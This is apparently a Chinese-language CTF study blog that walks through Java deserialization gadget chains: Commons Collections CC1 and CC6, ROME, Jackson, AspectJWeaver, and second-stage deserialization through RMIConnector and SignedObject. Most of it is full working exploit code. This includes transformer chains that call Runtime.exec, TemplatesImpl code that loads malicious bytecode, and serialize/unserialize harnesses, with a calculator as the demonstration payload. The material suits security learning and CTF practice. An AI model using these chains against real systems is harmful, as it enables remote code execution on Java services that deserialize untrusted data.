CC链

CC1

通过反射调用计算器:

    Runtime runtime = Runtime.getRuntime();
    Class runtimeClass = Runtime.class;
    Method execMethod = runtimeClass.getMethod("exec", String.class);
    execMethod.invoke(runtime, "calc");

改为

    Runtime runtime = Runtime.getRuntime();
    new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"}).transform(runtime);

通过调试进入InvokerTransformer的transform方法,可以看到和我们刚才通过发射调用calc的代码一样
2023-10-20T07:24:47.png
再通过TransformedMap类的checkSetValue来间接调用transform,然后MapEntry类的setValue会调用checkSetValue。简而言之就是我们在给map里键值对中的值赋值时会先进行检查,而检查时会调用transform(value),所以我们令value为runtime,代码如下:

    Runtime runtime = Runtime.getRuntime();
    InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
    HashMap<Object, Object> map = new HashMap<>();
    map.put("key","value");
    Map<Object,Object> transformedMap = TransformedMap.decorate(map,null, invokerTransformer);
    for(Map.Entry entry:transformedMap.entrySet()) {
        entry.setValue(runtime);
    }

再找哪里调用了setValue方法,其中AnnotationInvocationHandler类的readObject方法有下面这么一段

for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                    memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }
            }
        }

所以我们想要通过AnnotationInvocationHandler的readObject来完成我们的调用链。但是还有几个问题,我们之前直接setValue(runtime),但是上面的setValue明显附带了好多ヽ( ̄▽ ̄)و奇奇怪怪的东西,还有就是InvokerTransformer、HashMap、TransformMap、AnnotationInvocationHandler都实现了Serializable接口,但Runtime是没有实现的。反正先这样写:

    Runtime runtime = Runtime.getRuntime();
    InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
    HashMap<Object, Object> map = new HashMap<>();
    map.put("key","value");
    Map<Object,Object> transformedMap = TransformedMap.decorate(map,null, invokerTransformer);
    Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor annotaionInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class);
    annotaionInvocationHandlerConstructor.setAccessible(true);
    Object o = annotaionInvocationHandlerConstructor.newInstance(Override.class, transformedMap);
    serialize(o);
    unserialize("ser.bin");

因为Runtime.class是实现了Serializable接口的,所以我们先学会用Runtime.class来弹计算器

    Class c = Runtime.class;
    Method getRuntimeMethod = c.getMethod("getRuntime", null);
    Runtime runtime = (Runtime) getRuntimeMethod.invoke(null,null);
    Method execMethod = c.getMethod("exec", String.class);
    execMethod.invoke(runtime,"calc");

下面有点没跟上视频的节奏,也不知道为什么要全部用InvokerTransformer来进行调用

    Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
    Runtime runtime = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtime);

因为上面的InvokerTransformer都是递归调用,前一个输出是后一个的输入,所以用ChainedTransformer来书写会简单点

    Transformer[] transformers = new Transformer[]{
            new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
            new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
    };
    new ChainedTransformer(transformers).transform(Runtime.class);

那里判断if的条件看视频没有很懂
后面setvalue我们想要设置为Runtime.class,但是里面set的是AnnotationTypeMismatchExceptionProxy,怎么办呢?这里要用到ConstantTransformer,不管我们对他输入什么,它返回的都是初始的iConstant。所以我们将代码改成:

    Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
            new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
    };

这样在checkSetValue里对transformers进行Transform时,虽然输入的是AnnotationTypeMismatchExceptionProxy,但是ConstantTarnsformer还是对Runtime.class进行Transform。

Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> map = new HashMap<>();
        map.put("value","aaa");
        Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotaionInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class);
        annotaionInvocationHandlerConstructor.setAccessible(true);
        Object o = annotaionInvocationHandlerConstructor.newInstance(Target.class, transformedMap);
        serialize(o);
        unserialize("ser.bin");

然后ysoserial里的cc1链是下面这样

    Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
            new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
    };
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    HashMap<Object,Object> map = new HashMap<>();
    Map<Object,Object> lazymap = LazyMap.decorate(map,chainedTransformer);
    Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor annotaionInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class);
    annotaionInvocationHandlerConstructor.setAccessible(true);
    InvocationHandler handler = (InvocationHandler) annotaionInvocationHandlerConstructor.newInstance(Override.class, lazymap);
    Map proxyMap = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class},handler);
    Object o = annotaionInvocationHandlerConstructor.newInstance(Override.class, proxyMap);
    serialize(o);
    unserialize("ser.bin");

到chainedTransformer那里和之前都是一样的,然后它用的是LazyMap,LazyMap里的get方法调用了transform,所以我们让factory为chainedTransformer,好吧之后的就没听懂了。调试了好几遍也没有视频里的流程,算了,以后再补了。

public Object get(Object key) {
    // create value for key if key is not currently in the map
    if (map.containsKey(key) == false) {
        Object value = factory.transform(key);
        map.put(key, value);
        return value;
    }
    return map.get(key);
}

CC6

Transformer[] transformers = new Transformer[]{

            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
            new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
    };
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    HashMap<Object,Object> map = new HashMap<>();
    Map<Object,Object> lazymap = LazyMap.decorate(map,chainedTransformer);
    TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");
    HashMap<Object,Object> map2 = new HashMap<>();
    map2.put(tiedMapEntry,"bbb");
    serialize(map2);
    unserialize("ser.bin");

LazyMap之前都是一样的。然后通过HashMap的readobject调用HashMap的hash方法,再调用HashMap里的key的hashcode方法,令key为TiedMapEntry,调用TiedMapEntry的hashcode方法,调用TiedMapEntry的getvalue方法,也就是map的get方法,我们令map为LazyMap就会调用LazyMap的get方法。
但是HashMap在put的时候就已经调用了hash方法,所以还没序列化就弹计算器了。

    Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
            new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
    };
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    HashMap<Object,Object> map = new HashMap<>();
    Map<Object,Object> lazymap = LazyMap.decorate(map,new ConstantTransformer(1));
    TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");
    HashMap<Object,Object> map2 = new HashMap<>();
    map2.put(tiedMapEntry,"bbb");
    Class lazyMapClass = LazyMap.class;
    Field factoryField = lazyMapClass.getDeclaredField("factory");
    factoryField.setAccessible(true);
    factoryField.set(lazymap,chainedTransformer);
    serialize(map2);
    unserialize("ser.bin");

我们通过反射来让map2.put的时候导致的lazymap.get调用的不是chainedTransformer,等put完再设置lazymap.get的factory为chainedTransformer,但是因为put的时候已经hash过了,会在LazyMap.get的时候把我们的key:aaa放进去,所以后面反序列化的时候因为已经就aaa了,所以就不会调用factory.transform,所以我们在put之后把key:aaa给删了。

    Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
            new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
    };
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    HashMap<Object,Object> map = new HashMap<>();
    Map<Object,Object> lazymap = LazyMap.decorate(map,new ConstantTransformer(1));
    TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");
    HashMap<Object,Object> map2 = new HashMap<>();
    map2.put(tiedMapEntry,"bbb");
    lazymap.remove("aaa");
    Class lazyMapClass = LazyMap.class;
    Field factoryField = lazyMapClass.getDeclaredField("factory");
    factoryField.setAccessible(true);
    factoryField.set(lazymap,chainedTransformer);
    serialize(map2);
    unserialize("ser.bin");

rome

先获取一个恶意的TemplatesImpl,调用getOutputProperties就会加载恶意的字节码

    public static TemplatesImpl getEvilTemplates() throws Exception{
        TemplatesImpl templates = new TemplatesImpl();
        Class tc = templates.getClass();
        Field nameField = tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"aaa");
        Field bytecodesField = tc.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("D:\\JAVA\\ctf\\target\\classes\\org\\example\\test.class"));
        byte[][] codes = {code};
        bytecodesField.set(templates,codes);
        Field tfactoryField = tc.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates,new TransformerFactoryImpl());
        return templates;
    }

ToStringBean#toString会调用类的getter方法,我们让它调用TemplatesImpl#getOutputProperties
2024-03-06T11:51:38.png

        ToStringBean toStringBean = new ToStringBean(Templates.class,getEvilTemplates());
        toStringBean.toString();

弹计算器
接下来就是触发toString,EqualsBean#hashCode会触发,而我们可以用HashMap#readObject来触发hashCode
2024-03-06T12:50:55.png

package org.example.Rome;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;

import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;

public class rome {
    public static void main(String[] args) throws Exception{
        ToStringBean toStringBean = new ToStringBean(Templates.class,getEvilTemplates());
        EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
        HashMap hashMap = new HashMap();
        Class equalsBeanClass = equalsBean.getClass();
        hashMap.put(equalsBean,null);
        serialize(hashMap);
        unserialize("ser.bin");
    }
    public static TemplatesImpl getEvilTemplates() throws Exception{
        TemplatesImpl templates = new TemplatesImpl();
        Class tc = templates.getClass();
        Field nameField = tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"aaa");
        Field bytecodesField = tc.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("D:\\JAVA\\ctf\\target\\classes\\org\\example\\test.class"));
        byte[][] codes = {code};
        bytecodesField.set(templates,codes);
//        Field tfactoryField = tc.getDeclaredField("_tfactory");
//        tfactoryField.setAccessible(true);
//        tfactoryField.set(templates,new TransformerFactoryImpl());
        return templates;
    }
    public static void serialize(Object obj) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws Exception {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

这里因为HashMap#put的时候虽然会触发EqualsBean#hashCode,但是反序列化的时候也会触发,所以就没特意控制序列化时不弹计算器了。

AspectJWeaver

SimpleCache#put有写文件的操作,可以作为sink的点
2024-07-08T11:25:50.png
后面就是配合CC链触发put方法

Jackson

2024-03-26T13:14:10.png
Jackson和fastjson的链子很像,就改了调用谁的toString

package org.example.jackson;

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class jackson {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templatesImpl = new TemplatesImpl();
        byte[] code = Files.readAllBytes(Paths.get("D:\\JAVA\\ctf\\ser\\target\\classes\\org\\example\\test.class"));
        byte[][] codes = {code};
        setFieldValue(templatesImpl, "_bytecodes", codes);
        setFieldValue(templatesImpl, "_name", "a");
//        setFieldValue(templatesImpl, "_tfactory", null);

        CtClass ctClass1 = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
        CtMethod writeReplace = ctClass1.getDeclaredMethod("writeReplace");
        ctClass1.removeMethod(writeReplace);
        // 将修改后的CtClass加载至当前线程的上下文类加载器中
        ctClass1.toClass();

        POJONode node = new POJONode(templatesImpl);

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        setFieldValue(badAttributeValueExpException, "val", node);
//        HashMap hashMap = new HashMap();
//        hashMap.put(null, badAttributeValueExpException);

//        serialize(badAttributeValueExpException);
        unserialize("ser.bin");

    }

    private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj, arg);
    }
    public static void serialize(Object obj) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws Exception {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}
    CtClass ctClass1 = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
    CtMethod writeReplace = ctClass1.getDeclaredMethod("writeReplace");
    ctClass1.removeMethod(writeReplace);
    // 将修改后的CtClass加载至当前线程的上下文类加载器中
    ctClass1.toClass();

这一段是为了删除BaseJsonNode#writeReplace,在序列化之前加就可以了,不然序列化会出错。

二次反序列化

因为SICTF#3 web的最后一题用到了,这里就参考这篇博客学习一下。

rmi

之所以能二次反序列化,主要是因为RMIConnector#findRMIServerJRMP将一个base64的string进行了反序列化
2024-02-21T09:30:09.png
可以看到只有一个地方调用了它,即这个类的findRMIServer方法。要求path以/stub/开头,然后后面的base64编码的路径就是序列化的恶意类
2024-02-21T09:33:02.png
再往上找,有两个方法,public的RMIConnector#connect和应该私有类RMIClientCommunicatorAdmin的protect方法doStart,想都知道肯定public的connect好找且常见
2024-02-21T09:39:58.png
可以看到就是在连接的过程中的没有rmiSever就会调用findRMIServer
2024-02-21T09:47:31.png
我们可以找一下是在哪里写rmiServer的值,就是在构造方法里,而且jmxServiceURL也是在这里赋值,它的urlPath就是我们要的/stub/base
2024-02-21T09:49:45.png
往上找public的构造方法
2024-02-21T09:54:53.png
这里我们就可以构造一个恶意的rmiConnector了,至于构造时如何正确传值就自己看构造方法debug

package org.twice;

import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.util.Base64;
import java.util.HashMap;

import static org.example.rmi.EvilRegistry.genEvilMap;

public class RMICC {
    public static void main(String[] args) throws Exception{
        JMXServiceURL jmxServiceURL = new JMXServiceURL("rmi","127.0.0.1",1099,"/stub/"+getEvilString());
        RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, new HashMap<String, String>());
        rmiConnector.connect();
    }
    public static String getEvilString() throws Exception{
        HashMap evilMap = genEvilMap();
        ByteArrayOutputStream out = new ByteArrayOutputStream();
        ObjectOutputStream objOut = new ObjectOutputStream(out);
        objOut.writeObject(evilMap);
        return Base64.getEncoder().encodeToString(out.toByteArray());
    }
}

调用恶意rmiConnector#connect,成功弹计算器。
2024-02-21T10:20:52.png
接下来就是要调用connect,根据题目的hint,这里用CC1的下半段TransformedMap动态代理。
链子就是hint里的,这里用了两次AbstractInputCheckedMapDecorator#setValue->TransformedMap#checkSetValue,如果用一次会有个问题
2024-02-27T11:47:48.png
就是在AbstractInputCheckedMapDecorator#setValue里我们本来想的是transformedMap.transform(rmiConnector),但是这里因为setValue的value不是我们想要的类,CC1里是用ChainedTransformer和ChainedTransformer解决,但是题目把ChainedTransformer禁了
2024-02-27T11:50:49.png
但是虽然parent.checkSetValue因为value不可控所以不行,但是entry.setValue的value是可以的,所以我们改用这一句来
2024-02-27T12:56:12.png
······
后面写在SICTF那篇文章了。

SignedObject

2024-03-06T10:47:20.png
2024-03-06T10:47:46.png
之所以能二次反序列化是因为SignedObject在构造的时候引入了一个要进行签名的对象并进行序列化,然后在调用getObject进行没任何过滤的反序列化

    public static void main(String[] args) throws Exception{
        KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
        kpg.initialize(1024);
        KeyPair kp = kpg.generateKeyPair();
        SignedObject signedObject = new SignedObject(getEvilMap(),kp.getPrivate(),Signature.getInstance("DSA"));
        signedObject.getObject();
    }

rome链可以触发任意getter方法,这里把rome链最后的部分改一下就可以了。
2024-03-06T13:08:01.png

package org.twice;

import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;
import java.util.HashMap;

import static org.example.jndi.JNDILDAPCCServer.getEvilMap;

public class SignRome {
    public static void main(String[] args) throws Exception{
        KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
        kpg.initialize(1024);
        KeyPair kp = kpg.generateKeyPair();
        SignedObject signedObject = new SignedObject(getEvilMap(),kp.getPrivate(),Signature.getInstance("DSA"));
        ToStringBean toStringBean = new ToStringBean(SignedObject.class,signedObject);
        EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
        HashMap hashMap = new HashMap();
        Class equalsBeanClass = equalsBean.getClass();
        hashMap.put(equalsBean,null);
        serialize(hashMap);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws Exception {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}